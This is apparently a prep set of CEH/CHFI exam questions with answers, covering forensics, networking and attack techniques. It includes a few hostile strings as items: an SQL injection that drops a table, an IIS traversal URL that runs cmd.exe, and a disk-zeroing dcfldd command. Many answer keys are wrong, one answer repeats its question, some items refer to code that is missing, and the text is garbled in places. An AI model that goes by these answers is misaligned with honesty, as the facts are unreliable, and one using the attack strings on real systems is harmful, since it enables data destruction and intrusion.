CEH_CHFI Course Prep Exam 1
After undergoing an external IT audit, George realizes his network is vulnerable to DDoS attacks. What countermeasures could he take to prevent DDoS attacks? Enable BGP Enable direct broadcasts Disable BGP Disable direct broadcasts
Disable direct broadcasts
What technique is used by JPEGs for compression? TIFF-8 TCD DCT ZIP
DCT
Consistency in the investigative report is more important than the exact format in the report to eliminate uncertainty and confusion. FALSE TRUE
TRUE
What is the smallest physical storage unit on a hard drive? Cluster Sector Platter Track
Sector
What is the smallest physical storage unit on a hard drive? Sector Track Cluster Platter
Sector
When collecting electronic evidence at the crime scene, the collection should proceed from the most volatile to the least volatile True False
True
Which file is a rich target to discover the structure of a website during web-server footprinting? domain.txt Robots.txt Document root index.html
domain.txt
Steven connected his iPhone to a public computer that had been infected by Clark, an attacker. After establishing the connection with the public computer, Steven enabled iTunes Wi-Fi sync on the computer so that the device could continue communication with that computer even after being physically disconnected. Now, Clark gains access to Steven's iPhone through the infected computer and is able to monitor and read all of Steven's activity on the iPhone, even after the device is out of the communication zone. Which of the following attacks is performed by Clark in the above scenario? Man-in-the-disk attack iOS jailbreaking iOS trustjacking Exploiting SS7 vulnerability
iOS trustjacking
It takes _____________ mismanaged case/s to ruin your professional reputation as a computer forensics examiner? only one quite a few at least two by law, three
only one
Which of the following should a computer forensics lab used for investigations have? an entry log restricted access open access isolation
restricted access
Lockdown device uses which operating system to write hard drive data? Mac OS Red Hat Windows Unix
Windows
How many bits is Source Port Number in TCP Header packet? 32 64 16 48
16
Where is the startup configuration located on a router? Static RAM BootROM NVRAM Dynamic RAM
NVRAM
What does ICMP Type 3/Code 13 mean? Protocol Unreachable Port Unreachable Host Unreachable Administratively Blocked
Administratively Blocked
Printing under a Windows Computer normally requires which one of the following files types to be created? EMF MEM EME CME
EMF
If you are concerned about a high level of compression but not concerned about any possible data loss, what type of compression would you use? Lossy compression Time-loss compression Lossful compression Lossless compression
Lossy compression
Which of the following commands shows you the names of all open shared files on a server and number of file locks on each file? Net sessions Net file Net share Netconfig
Net file
What does the acronym POST mean as it relates to a PC? Primary Operating System Test Pre Operational Situation Test Primary Operations Short Test Power On Self Test
Power On Self Test
What is one method of bypassing a system BIOS password? Removing the CMOS battery Removing the processor Login to Windows and disable the BIOS password Remove all the system memoryRemove all the system? memory
Removing the CMOS battery
Which of the following is the certifying body of forensics labs that investigate criminal cases by analyzing evidence? International Society of Forensics Laboratory (ISFL) The American Forensics Laboratory Society (AFLS) The American Society of Crime Laboratory Directors (ASCLD) The American Forensics Laboratory for Computer Forensics (AFLCF)
The American Society of Crime Laboratory Directors (ASCLD)
Why is it still possible to recover files that have been emptied from the Recycle Bin on a Windows computer? The data is still present until the original location of the file is used The data will reside in the L2 cache on a Windows computer until it is manually deleted It is not possible to recover data that has been emptied from the Recycle Bin The data is moved to the Restore directory and is kept there indefinitely
The data is still present until the original location of the file is used
As a security analyst you setup a false survey website that will reQuire users to create a username and a strong password. You send the link to all the employees of the company. What information will you be able to gather? Bank account numbers and the corresponding routing numbers The IP address of the employees computers The MAC address of theemployees?computers The employees network usernames and passwords
The employees network usernames and passwords
A state department site was recently attacked and all the servers had their disks erased. The incident response team sealed the area and commenced investigation.During evidence collection they came across a zip disks that did not have the standard labeling on it. The incident team ran the disk on an isolated system and found that the system disk was accidentally erased. They decided to call in the FBI for further investigation. Meanwhile, they short listed possible suspects including three summer interns. Where did the incident team go wrong? They examined the actual evidence on an unrelated system They attempted to implicate personnel without proof They called in the FBI without correlating with the fingerprint data They tampered with evidence by using it
They tampered with evidence by using it
When carrying out a forensics investigation, why should you never delete a partition on a dynamic disk? The computer will be set in a constant reboot state The wrong partition may be set to active All virtual memory will be deleted This action can corrupt the disk
This action can corrupt the disk
When carrying out a forensics investigation, why should you never delete a partition on a dynamic disk? The wrong partition may be set to active This action can corrupt the disk All virtual memory will be deleted The computer will be set in a constant reboot state
This action can corrupt the disk
Abel, a cloud architect, uses container technology to deploy applications/software including all its dependencies, such as libraries and configuration files, binaries, and other resources that run independently from other processes in the cloud environment. For the containerization of applications, he follows the fivetier container technology architecture. Currently, Abel is verifying and validating image contents, signing images, and sending them to the registries. Which of the following tiers of the container technology architecture is Abel currently working in? Tier-1: Developer machines Tier-2: Testing and accreditation systems Tier-3: Registries Tier-4: Orchestrators
Tier-2: Testing and accreditation systems
When making the preliminary investigations in a sexual harassment case, how many investigators are you recommended having? Four Two Three One
Two
Why should you never power on a computer that you need to acquire digital evidence from? When the computer boots up, files are written to the computer rendering the data nclean When the computer boots up, data in the memory buffer is cleared which could destroy evidence Powering on a computer has no affect when needing to acquire digital evidence from it. When the computer boots up, the system cache is cleared which could destroy evidence
When the computer boots up, files are written to the computer rendering the data nclean
Which is a standard procedure to perform during all computer forensics investigations? With the hard drive in the suspect PC, check the date and time in the File Allocation Table With the hard drive removed from the suspect PC, check the date and time in the system RAM With the hard drive removed from the suspect PC, check the date and time in the system CMOS With the hard drive in the suspect PC, check the date and time in the system CMOS
With the hard drive removed from the suspect PC, check the date and time in the system CMOS
When performing a forensics analysis, what device is used to prevent the system from recording data on an evidence disk? Protocol analyzer Firewall Write-blocker Disk editor
Write-blocker
You are carrying out the last round of testing for your new website before it goes live. The website has many dynamic pages and connects to a SQL backend that accesses your product inventory in a database. You come across a web security site that recommends inputting the following code into a search field on web pages to check for vulnerabilities: When you type this and click on search, you receive a pop-up window that says: "This is a test." What is the result of this test? Your website is not vulnerable Your website is vulnerable to SQL injection Your website is vulnerable to web bugs Your website is vulnerable to CSS
Your website is vulnerable to CSS
If you plan to startup a suspects computer, you must modify the ___________ to ensure that you do not contaminate or alter data on the suspects hard drive by booting to the hard drive. deltree command boot.ini Boot.sys Scandisk utility CMOS
boot.ini
If a suspect computer is located in an area that may have toxic chemicals, you must: assume the suspect machine is contaminated do not enter alone coordinate with the HAZMAT team determine a way to obtain the suspect computer
coordinate with the HAZMAT team
A rogue/unauthorized access point is one that Is not authorized for operation by a particular firm or network FALSE TRUE
TRUE
Data Acquisition is the process of imaging or otherwise obtaining information from a digital device and its peripheral equipment and media FALSE TRUE
TRUE
Email archiving is a systematic approach to save and protect the data contained in emails so that it can be easily accessed at a later date. FALSE TRUE
TRUE
Hash injection attack allows attackers to inject a compromised hash into a local session and use the hash to validate network resources FALSE TRUE
TRUE
Physical security recommendations: There should be only one entrance to a forensics lab FALSE TRUE
TRUE
The ARP table of a router comes in handy for Investigating network attacks, as the table contains IP addresses associated with the respective MAC addresses.The ARP table can be accessed using the __________command in Windows 7. C:\arp -s C:\arp -a C:\arp -d C:\arp -b
C:\arp -a
A swap file is a space on a hard disk used as the virtual memory extension of a computer's RAM. Where is the hidden swap file in Windows located? C:\config.sys C:\hiberfil.sys C:\pagefile.sys C:\ALCSetup.log
C:\pagefile.sys
Your company uses Cisco routers exclusively throughout the network. After securing the routers to the best of your knowledge, an outside security firm is brought in to assess the network security. Although they found very few issues, they were able to enumerate the model, OS version, and capabilities for all your Cisco routers with very little effort. Which feature will you disable to eliminate the ability to enumerate this information on your Cisco routers? Broadcast System Protocol Simple Network Management Protocol Border Gateway Protocol Cisco Discovery Protocol
Cisco Discovery Protocol
Which of the following passwords are sent over the wire (and wireless) network, or stored on some media as it is typed without any alteration? Clear text passwords Hashed passwords Obfuscated passwords Hex passwords
Clear text passwords
Alice, a professional hacker, targeted an organization's cloud services. She infiltrated the target's MSP provider by sending spear-phishing emails and distributed custom-made malware to compromise user accounts and gain remote access to the cloud service. Further, she accessed the target customer profiles with her MSP account, compressed the customer data, and stored them in the MSP. Then, she used this information to launch further attacks on the target organization. Which of the following cloud attacks did Alice perform in the above scenario? Cloud cryptojacking Man-in-the-cloud (MITC) attack Cloud hopper attack Cloudborne attack
Cloud hopper attack
What is the smallest allocation unit of a hard disk? Disk platters Spinning tracks Cluster Slack space
Cluster
In Microsoft file structures, sectors are grouped together to form: Clusters Drives Partitions Bitstreams
Clusters
____________________ is simply the application of Computer Investigation and analysis techniques in the interests of determining potential legal evidence. Event Reaction Incident Response Computer Forensics Network Forensics
Computer Forensics
n General, __________________ Involves the investigation of data that can be retrieved from the hard disk or other disks of a computer by applying scientific methods to retrieve the data. Computer Forensics Network Forensics Data Recovery Disaster Recovery
Computer Forensics
How often must a company keep log files for them to be admissible in a court of law? Monthly Continuously All log files are admissible in court no matter their frequency All log files are admissible in court no matter their frequency
Continuously
Jason, a renowned forensic investigator, is investigating a network attack that resulted in the compromise of several systems in a reputed multinational's network. He started Wireshark to capture the network traffic. Upon investigation, he found that the DNS packets travelling across the network belonged to a non-company configured IP. Which of the following attack can Jason infer from his findings? DNS Poisoning DNS Redirection Cookie Poisoning Attack Session poisoning
DNS Poisoning
Which of the following attacks can be performed by exploiting the above vulnerability? Padding oracle attack DROWN attack DUHK attack Side-channel attack
DROWN attack
Software firewalls work at which layer of the OSI model? Application Transport Network Data Link
Data Link
When collecting evidence from the RAM, where do you look for data? Swap file Data file SAM file Log file
Data file
What type of file is represented by a colon (:) with a name following it in the Master File Table (MFT) of an NTFS disk? Data stream file Encrypted file Compressed file Reserved file
Data stream file
What type of file is represented by a colon (:) with a name following it in the Master File Table (MFT) ofan NTFS disk? Compressed file Data stream file Reserved file Encrypted file
Data stream file
What will the following command produce on a website login page? SELECT email, passwd, login_id, full_name FROM members WHERE email = '[email protected]'; DROP TABLE members; --' This command will not produce anything since the syntax is incorrect Retrieves the password for the first user in the members table Inserts the Error! Reference source not found. email address into the members table Deletes the entire members table
Deletes the entire members table
What type of attack occurs when an attacker can force a router to stop forwarding packets by flooding the router with many open connections simultaneously so that all the hosts behind the router are effectively disabled? Denial of service ARP redirect Digital attack Physical attack
Denial of service
What will the following URL produce in an unpatched IIS Web Server? http://www.thetargetsite.com/scripts/..% co%af../..%co%af../windows/system32/cmd.exe?/c+dir+c:\ Directory listing of the C:\windows\system32 folder on the web server Directory listing of C: drive on the web server Insert a Trojan horse into the C: drive of the web server Execute a buffer flow in the C: drive of the web server
Directory listing of C: drive on the web server
The efforts to obtain information before a trial by demanding documents, depositions, questions and answers written under oath, written requests for admissions of fact, and examination of the scene is a description of what legal term? Detection Hearsay Spoliation Discovery
Discovery
The efforts to obtain information before a trial by demanding documents, depositions, questions and answers written under oath, written requests for admissions of fact, and examination of the scene is adescription of what legal term? Spoliation Detection Hearsay Discovery
Discovery
What is the Shellshock bash vulnerability attempting to do on a vulnerable Linux host? Removes the passwd file Changes all passwords in passwd Add new user to the passwd file Display passwd content to prompt
Display passwd content to prompt
What feature of Decryption Collection allows an investigator to crack a password as quickly as possible? Cracks every password in 10 minutes Distribute processing over 16 or fewer computers Support for Encrypted File System Support for MD5 hash verification
Distribute processing over 16 or fewer computers
What feature of Decryption Collection allows an investigator to crack a password as quickly as possible? Cracks every password in 10 minutes Support for MD5 hash verification Support for Encrypted File System Distribute processing over 16 or fewer computers
Distribute processing over 16 or fewer computers
Which one of the following statements is not correct while preparing for testimony? Do not determine the basic facts of the case before beginning and examining the evidence Establish early communication with the attorney Go through the documentation thoroughly Substantiate the findings with documentation and by collaborating with other computer forensics professionals
Do not determine the basic facts of the case before beginning and examining the evidence
Larry is an IT consultant who works for corporations and government agencies. Larry plans on shutting down the city's network using BGP devices and zombies? What type of Penetration Testing is Larry planning to carry out? DoS Penetration Testing Router Penetration Testing Firewall Penetration Testing Internal Penetration Testing
DoS Penetration Testing
Annie, a cloud security engineer, uses the Docker architecture to employ a client/server model in the application she is working on. She utilizes a component that can process API requests and handle various Docker objects, such as containers, volumes, images, and networks. What is the component of the Docker architecture used by Annie in the above scenario? Docker objects Docker daemon Docker client Docker registries
Docker daemon
Dorian is sending a digitally signed email to Poly. With which key is Dorian signing this message and how is Poly validating it? Dorian is signing the message with his public key, and Poly will verify that the message came from Dorian by using Dorian's private key. Dorian is signing the message with Poly's private key, and Poly will verify that the message came from Dorian by using Dorian's public key. Dorian is signing the message with his private key, and Poly will verify that the message came from Dorian by using Dorian's public key. Dorian is signing the message with Poly's public key, and Poly will verify that the message came from Dorian by using Dorian's public key.
Dorian is signing the message with his private key, and Poly will verify that the message came from Dorian by using Dorian's public key.
Meyer Electronics Systems just recently had a number of laptops stolen out of their office. On these laptops contained sensitive corporate information regarding patents and company strategies. A month after the laptops were stolen, a competing company was found to have just developed products that almost exactly duplicated products that Meyer produces. What could have prevented this information from being stolen from the laptops? DFS Encryption EFS Encryption IPS Encryption SDW Encryption
EFS Encryption
You have compromised a lower-level administrator account on an Active Directory network of a small company in Dallas, Texas. You discover Domain Controllers through enumeration. You connect to one of the Domain Controllers on port 389 using ldp.exe.What are you trying to accomplish here? Enumerate MX and A records from DNS Enumerate domain user accounts and built-in groups Establish a remote connection to the Domain Controller Poison the DNS records with false records
Enumerate domain user accounts and built-in groups
This type of testimony is presented by someone who does the actual fieldwork and does not offer a view in court. Expert testimony Civil litigation testimony Victim advocate testimony Technical testimony
Expert testimony
You are a penetration tester working to test the user awareness of the employees of the client XYZ. You harvested two employees' emails from some public sources and are creating a client-side backdoor to send it to the employees via email. Which stage of the cyber kill chain are you at? Reconnaissance Weaponization Command and control Exploitation
Exploitation
Which Is a Linux journaling file system? FAT HFS Ext3 BFS
Ext3
Cyber-crime is defined as any Illegal act involving a gun, ammunition, or its applications. FALSE TRUE
FALSE
What file structure database would you expect to find on floppy disks? FAT32 NTFS FAT16 FAT12
FAT12
Bella, a security professional working at an IT firm, finds that a security breach has occurred while transferring important files. Sensitive data, employee usernames, and passwords are shared in plaintext, paving the way for hackers to perform successful session hijacking. To address this situation, Bella implemented a protocol that sends data using encryption and digital certificates. Which of the following protocols is used by Bella? FTPS FTP HTTPS IP
FTPS
The disk in the disk drive rotates at high speed, and heads in the disk drive are used only to read data. True False
False
You should always work with original evidence True False
False
This is the original file structure database that Microsoft originally designed for floppy disks. It is written to the outermost track of a disk and contains information about each file stored on the drive. Master Boot Record (MBR) Master File Table (MFT) File Allocation Table (FAT) Disk Operating System (DOS)
File Allocation Table (FAT)
Security administrator John Smith has noticed abnormal amounts of traffic coming from local computers at night. Upon reviewing, he finds that user data have been exfiltrated by an attacker. AV tools are unable to find any malicious software, and the IDS/IPS has not reported on any non-whitelisted programs. What type of malware did the attacker use to bypass the company's application whitelisting? File-less malware Zero-day malware Phishing malware Logic bomb malware
File-less malware
Preparing an image drive to copy files to is the first step in Linux forensics. For this purpose, what would the following command accomplish? dcfldd if=/dev/zero of=/dev/hda bs=4096 conv=noerror, sync Fill the disk with zeros Copy files from the master disk to the slave disk on the secondary IDE controller Fill the disk with 4096 zeros Low-level format
Fill the disk with zeros
Preparing an image drive to copy files to is the first step in Linux forensics. For this purpose, what would the following command accomplish?dcfldd if=/dev/zero of=/dev/hda bs=4096 conv=noerror, sync Fill the disk with zeros Copy files from the master disk to the slave disk on the secondary IDE controller. Low-level format Fill the disk with 4096 zeros
Fill the disk with zeros
John is using Firewalk to test the security of his Cisco PIX firewall. He is also utilizing a sniffer located on a subnet that resides deep inside his network. After analyzing the sniffer log files, he does not see any of the traffic produced by Firewalk. Why is that? Firewalk sets all packets with a TTL of one Firewalk cannot pass through Cisco firewalls Firewalk sets all packets with a TTL of zero Firewalk cannot be detected by network sniffers
Firewalk sets all packets with a TTL of one
First response to an incident may involve three different groups of people, and each will have differing skills and need to carry out differing tasks based on the incident. Who is responsible for collecting, preserving, and packaging electronic evidence? Local managers or other non-forensic staff Forensic laboratory staff Lawyers System administrators
Forensic laboratory staff
What type of attack sends spoofed UDP packets (instead of ping packets) with a fake source address to the IP broadcast address of a large network? Smurf scan Teardrop Fraggle SYN flood
Fraggle
What operating system would respond to the following command? C:\> nmap â€"sW 10.10.145.65 Windows 95 Windows XP FreeBSD Mac OS X
FreeBSD
Infecting a system with malware and using phishing to gain credentials to a system or web application are examples of which phase of the ethical hacking methodology? Scanning Gaining access Maintaining access Reconnaissance
Gaining access
Which of the following filesystem is used by Mac OS X? NFS EXT2 HFS+ EFS
HFS+
Which part of the Windows Registry contains the user's password file? HKEY_CURRENT_CONFIGURATION HKEY_CURRENT_USER HKEY_USER HKEY_LOCAL_MACHINE
HKEY_LOCAL_MACHINE
Which of the following password cracking techniques works like a dictionary attack, but adds some numbers and symbols to the words from the dictionary and tries to crack the password? You Answered Syllable attack Hybrid attack Rule-based attack Brute forcing attack
Hybrid attack
What header field in the TCP/IP protocol stack involves the hacker exploit known as the Ping of Death? UDP header field ICMP header field TCP header field IP header field
ICMP header field
Jessica works as systems administrator for a large electronics firm. She wants to scan her network quickly to detect live hosts by using ICMP ECHO Requests. What type of scan is Jessica going to perform? Smurf scan ICMP ping sweep Ping trace Tracert
ICMP ping sweep
When is it appropriate to use computer forensics? If sales drop off for no apparent reason for an extended period of time If employees do not care for their boss?management techniques If a financial institution is burglarized by robbers If copyright and intellectual property theft/misuse has occurred
If copyright and intellectual property theft/misuse has occurred
A suspect is accused of violating the acceptable use of computing resources, as he has visited adult websites and downloaded images. The investigator wants to demonstrate that the suspect did indeed visit these sites. However, the suspect has cleared the search history and emptied the cookie cache. Moreover, he has removed any images he might have downloaded. What can the investigator do to prove the violation? Choose the most feasible option. Seek the help of co-workers who are eye-witnesses Check the Windows registry for connection data (You may or may not recover) Image the disk and try to recover deleted files Approach the websites for evidence
Image the disk and try to recover deleted files
Ralph, a professional hacker, targeted Jane, who had recently bought new systems for her company. After a few days, Ralph contacted Jane while masquerading as a legitimate customer support executive, informing that her systems need to be serviced for proper functioning and that customer support will send a computer technician. Jane promptly replied positively. Ralph entered Jane's company using this opportunity and gathered sensitive information by scanning terminals for passwords, searching for important documents in desks, and rummaging bins. What is the type of attack technique Ralph used on Jane? Impersonation Dumpster diving Shoulder surfing Eavesdropping
Impersonation
When investigating a network that uses DHCP to assign IP addresses, where would you look to determine which system (MAC address) had a specific IP address at a specific time? On the individual computer ARP cacheOn the individual computer? ARP cache In the Web Server log files There is no way to determine the specific IP address In the DHCP Server log files
In the DHCP Server log files
When a router receives an update for its routing table, what is the metric value change to that path? Decreased by 1 Increased by 1 Decreased by 2 Increased by 2
Increased by 1
You are a security analyst performing reconnaissance on a company you will be carrying out a penetration test for. You conduct a search for IT jobs on Dice.com and find the following information for an open position: 7+ years experience in Windows Server environment 5+ years experience in Exchange 2000/2003 environment Experience with Cisco Pix Firewall, Linksys 1376 router, Oracle 11i and MYOB v3.4 Accounting software are reQuired MCSA desired, MCSE, CEH preferred No Unix/Linux Experience needed What is this information posted on the job website considered? Trade secret Information vulnerability Social engineering exploit Competitive exploit
Information vulnerability
What advantage does the tool Evidor have over the built-in Windows search? It can search slack space It can find bad sectors on the hard drive It can find deleted files even after they have been physically removed It can find files hidden within ADS.
It can find bad sectors on the hard drive
What is cold boot (hard boot)? It is the process of restarting a computer that is already in sleep mode It is the process of shutting down a computer from a powered-on or on state It is the process of restarting a computer that is already turned on through the operating system It is the process of starting a computer from a powered-down or off state
It is the process of starting a computer from a powered-down or off state
If a PDA is seized in an investigation while the device is turned on, what would be the proper procedure? Keep the device powered on Remove the battery immediately Turn off the device immediately Remove any memory cards immediately
Keep the device powered on
If a PDA is seized in an investigation while the device is turned on, what would be the proper procedure? Remove the battery immediately Remove any memory cards immediately2 Keep the device powered on Turn off the device immediately
Keep the device powered on
To invisibly maintain access to a machine, an attacker utilizes a rootkit that sits undetected in the core components of the operating system. What is this type of rootkit an example of? Hypervisor rootkit Kernel rootkit Hardware rootkit Firmware rootkit
Kernel rootkit
Before performing a logical or physical search of a drive in Encase, what must be added to the program? Hash sets Keywords File signatures Bookmarks
Keywords
Which of the following tools is used to detect wireless LANs using the 802.11a/b/g/n WLAN standards on a Linux platform? Kismet Abel Netstumbler Nessus
Kismet
You just passed your ECSA exam and are about to start your first consulting job running security audits for a financial institution in Los Angeles. The IT manager of the company you will be working for tries to see if you remember your ECSA class. He asks about the methodology you will be using to test the company's network. How would you answer? Microsoft Methodology IBM Methodology Google Methodology LPT Methodology
LPT Methodology
When the operating system marks cluster as used, but does not allocate them to any file, such clusters are known as ___________. Unused clusters Lost clusters Bad clusters Empty clusters
Lost clusters
Where does Encase search to recover NTFS files and folders? HAL MBR MFT Slack space
MFT
Where does Encase search to recover NTFS files and folders? MBR MFT Slack space HAL33
MFT
What binary coding is used most often for e-mail purposes? MIME Uuencode IMAP SMTP
MIME
Which of the following network attacks refers to sending huge volumes of email to an address in an attempt to overflow the mailbox, or overwhelm the server where the email address is hosted, to cause a denial-of-service attack? Phishing Email spamming Email spoofing Mail bombing
Mail bombing
You are assigned to work in the computer forensics lab of a state police agency. While working on a high profile criminal case, you have followed every applicable procedure, however your boss is still concerned that the defense attorney might question wheather evidence has been changed while at the lab. What can you do to prove that the evidence is the same as it was when it first entered the lab? Make MD5 hashes of the evidence and compare it to the standard database developed by NIST Make MD5 hashes of the evidence and compare it with the original MD5 hash that was taken when the evidence first entered the lab There is no reason to worry about this possible claim because state labs are certified Sign a statement attesting that the evidence is the same as it was when it entered the lab
Make MD5 hashes of the evidence and compare it with the original MD5 hash that was taken when the evidence first entered the lab
To preserve digital evidence, an investigator should ___________ Only store the original evidence item Make two copies of each evidence item using different imaging tools Make a single copy of each evidence item using an approved imaging tool Throw away original
Make two copies of each evidence item using different imaging tools
What is a good security method to prevent unauthorized users from "tailgating"? Electronic key systems Electronic combination locks Man trap Pick-resistant locks
Man trap
Sam is working as a system administrator in an organization. He captured the principal characteristics of a vulnerability and produced a numerical score to reflect its severity using CVSS v3.0 to properly assess and prioritize the organization's vulnerability management processes. The base score that Sam obtained after performing CVSS rating was 4.0. What is the CVSS severity level of the vulnerability discovered by Sam in the above scenario? Critical Medium High Low
Medium
After passing her CEH exam, Carol wants to ensure that her network is completely secure. She implements a DMZ, statefull firewall, NAT, IPSEC, and a packet filtering firewall. Since all security measures were taken, none of the hosts on her network can reach the Internet. Why is that? NAT does not work with IPSEC Statefull firewalls do not work with packet filtering firewalls IPSEC does not work with packet filtering firewalls NAT does not work with statefull firewalls
NAT does not work with IPSEC
What file is processed at the end of a Windows XP boot to initialize the logon dialog box? NTLDR NTLDR NTOSKRNL.EXE NTDETECT.COM
NTLDR
Which program is the boot loader when Windows XP starts up? KERNEL.EXE NTLDR LILO LOADER
NTLDR
To make sure the evidence you recover and analyze with computer forensics software can be admitted in court, you must test and validate the software. What group is actively providing tools and creating procedures for testing and validating computer forensics software? National Institute of Standards and Technology (NIST) Society for Valid Forensics Tools and Testing (SVFTT) Computer Forensics Tools and Validation Committee (CFTVC) Association of Computer Forensics Software Manufactures (ACFSM)
National Institute of Standards and Technology (NIST)
George is performing security analysis for Hammond and Sons LLC. He is testing security vulnerabilities of their wireless network. He plans on remaining as "stealthy" as possible during the scan. Why would a scanner like Nessus is not recommended in this situation? Nessus cannot perform wireless testing There are no ways of performing a "stealthy" wireless scan Nessus is not a network scanner Nessus is too loud
Nessus is too loud
Which of the following commands shows you the username and IP address used to access the system via a remote login session and the Type of client from which they are accessing the system? Net config Net sessions Net file Net share
Net sessions
Which of the following commands shows you all of the network services running on Windows-based servers? Net use Net share Net Session Net start
Net start
You have been given the task to investigate web attacks on a Windows-based server.Which of the following commands will you use to look at which sessions the machine has opened with other systems? Net config Net sessions Net use Net share
Net use
You work as an IT security auditor hired by a law firm in Boston to test whether you can gain access to sensitive information about the company clients. You have rummaged through their trash and found very little information. You do not want to set off any alarms on their network, so you plan on performing passive footprinting against their Web servers. What tool should you use? Dig Nmap Ping sweep Netcraft
Netcraft
When monitoring for both intrusion and security events between multiple computers, it is essential that the computers' clocks are synchronized. Synchronized time allows an administrator to reconstruct what took place during an attack against multiple computers. Without synchronized time, it is very difficult to determine exactly when specific events took place, and how events interlace. What is the name of the service used to synchronize time among multiple computers? SyncTime Service Network Time Protocol Time-Sync Protocol Universal Time Set
Network Time Protocol
A large mobile telephony and data network operator has a data center that houses network elements. These are essentially large computers running on Linux. The perimeter of the data center is secured with firewalls and IPS systems. What is the best security policy concerning this setup? Network elements must be hardened with user ids and strong passwords. Regular security tests and audits should be performed. As long as the physical access to the network elements is restricted, there is no need for additional measures. There is no need for specific security measures on the network elements as long as firewalls and IPS systems exist. The operator knows that attacks and down time are inevitable and should have a backup site.
Network elements must be hardened with user ids and strong passwords. Regular security tests and audits should be performed.
How many times can data be written to a DVD+R disk? Twice Zero Once Infinite
Once
Steven has been given the task of designing a computer forensics lab for the company he works for. He has found documentation on all aspects of how to design a lab except the number of exits needed. How many exits should Steven include in his design for the computer forensics lab? Two One Three Four
One
An on-site incident response team is called to investigate an alleged case of computer tampering within their company. Before proceeding with the investigation, the CEO informs them that the incident will be classified as low level. How long will the team have to respond to the incident the investigation? Immediately Two working days One working day Four hours.
One working day
After passively scanning the network of Department of Defense (DoD), you switch over to active scanning to identify live hosts on their network. DoD is a large organization and should respond to any number of scans. You start an ICMP ping sweep by sending an IP packet to the broadcast address. Only five hosts responds to your ICMP pings; definitely not the number of hosts you were expecting. Why did this ping sweep only produce a few responses? Only Unix and Unix-like systems will reply to this scan Only IBM AS/400 will reply to this scan A switched network will not respond to packets sent to the broadcast address Only Windows systems will reply to this scan
Only Unix and Unix-like systems will reply to this scan
Deposition enables opposing counsel to preview an expert witness's testimony at trial.Which of the following deposition is not a standard practice? Opposing counsel asks questions Only one attorney is present No jury or judge Both attorneys are present
Only one attorney is present
What happens when a file is deleted by a Microsoft operating system using the FAT file system? The file is erased and cannot be recovered A copy of the file is stored and the original file is erased The file is erased but can be recovered partially Only the reference to the file is removed from the FAT and can be recovered
Only the reference to the file is removed from the FAT and can be recovered
Which of the following steganography types hides the secret message in a specifically designed pattern on the document that is unclear to the average reader? Open code steganography Technical steganography Visual semagrams steganography Text semagrams steganography
Open code steganography
An employee is attempting to wipe out data stored on a couple of compact discs (CDs) and digital videodiscs (DVDs) by using a large magnet.You inform him that this method will not be effective in wiping out the data because CDs and DVDs are _________ media used to store large amounts of data and are not affected by the magnet. Anti-Magnetic Magnetic Optical Logical.
Optical
Travis, a computer forensics investigator, is finishing up a case he has been working on for over a month involving copyright infringement and embezzlement. His last task is to prepare an investigative report for the president of the company he has been working for. Travis must submit a hard copy and an electronic copy to this president. In what electronic format should Travis send this report? DOC WPD PDF TIFF-8
Travis, a computer forensics investigator, is finishing up a case he has been working on for over a month involving copyright infringement and embezzlement. His last task is to prepare an investigative report for the president of the company he has been working for.Travis must submit a hard copy and an electronic copy to this president. In what electronic format should Travis send this report? DOC WPD TIFF-8 PDF
What will the following command accomplish in Linux? fdisk /dev/hda Partition the hard drive Format the hard drive Fill the disk with zeros Delete all files under the /dev/hda folder
Partition the hard drive
A post-breach forensic investigation revealed that a known vulnerability in Apache Struts was to blame for the Equifax data breach that affected 143 million customers. A fix was available from the software vendor for several months prior to the intrusion. This is likely a failure in which of the following security processes? Secure development lifecycle Security awareness training Vendor risk management Patch management
Patch management
An attacker redirects the victim to malicious websites by sending them a malicious link by email. The link appears authentic but redirects the victim to a malicious web page, which allows the attacker to steal the victim's data. What type of attack is this? ANSWER Vishing Phishing DDoS Spoofing
Phishing
Cylie is investigating a network breach at a state organization in Florida. She discovers that the intruders were able to gain access into the company firewalls by overloading them with IP packets. Cylie then discovers through her investigation that the intruders hacked into thecompany? firewalls by overloading them with IP packets. Cylie then discovers through her investigation that the intruders hacked into the company phone system and used the hard drives on their PBX system to store shared music files. What would this attack on the companycompany? phone system and used the hard drives on their PBX system to store shared music files. What would this attack on the company? PBX system be called? Squatting Phreaking Pretexting Crunching
Phreaking
Which of the following is NOT a graphics file? Picture3.nfo Picture2.bmp Picture4.psd Picture1.tga
Picture3.nfo
An investigator is searching through the firewall logs of a company and notices ICMP packets that are larger than 65,536 bytes. What type of activity is the investigator seeing? Nmap scan Ping of death Fraggle Smurf
Ping of death
Law enforcement officers are conducting a legal search for which a valid warrant was obtained. While conducting the search, officers observe an item of evidence for an unrelated crime that was not included in the warrant. The item was clearly visible to the officers and immediately identified as evidence. What is the term used to describe how this evidence is admissible? Plain view doctrine Corpus delicti Ex Parte Order Locard Exchange Principle
Plain view doctrine
A system with a simple logging mechanism has not been given much attention during development, this system is now being targeted by attackers, if the attacker wants to perform a new line injection attack, what will he/she inject into the log file? HTML tags Multiple pipe characters Plaintext Single pipe character
Plaintext
When cataloging digital evidence, the primary goal is to Not allow the computer to be turned off Not remove the evidence from the scene Make bit-stream images of all hard drives Preserve evidence integrity
Preserve evidence integrity
What are the security risks of running a "repair" installation for Windows XP? There are no security risks when running the "repair" installation for Windows XP Pressing Shift+F10 gives the user administrative rights Pressing Ctrl+F10 gives the user administrative rights Pressing Shift+F1 gives the user administrative rights
Pressing Shift+F10 gives the user administrative rights
Data acquisition system is a combination of tools or processes used to gather, analyze and record Information about some phenomenon. Different data acquisition system are used depends on the location, speed, cost. etc. Serial communication data acquisition system is used when the actual location of the data is at some distance from the computer. Which of the following communication standard is used in serial communication data acquisition system? RS231 RS422 RS423 RS232
RS232
Julia is a senior security analyst for Berber Consulting group. She is currently working on a contract for a small accounting firm in Florida. They have given her permission to perform social engineering attacks on the company to see if their in-house training did any good.Julia calls the main number for the accounting firm and talks to the receptionist. Julia says that she is an IT technician from the company's main office in Iowa. She states that she needs the receptionist's network username and password to troubleshoot a problem they are having. Julia says that Bill Hammond, the CEO of the company, requested this information. After hearing the name of the CEO, the receptionist gave Julia all the information she asked for. What principal of social engineering did Julia use? Social Validation Scarcity Friendship/Liking Reciprocation
Reciprocation
When you carve an image, recovering the image depends on which of the following skills? Recognizing the pattern of a corrupt file Recovering the image from the tape backup Recovering the image from a tape backup Recognizing the pattern of the header content
Recognizing the pattern of the header content
When examining a hard disk without a write-blocker, you should not start windows because Windows will write data to the MSDOS.sys Recycle Bin Case files BIOS
Recycle Bin
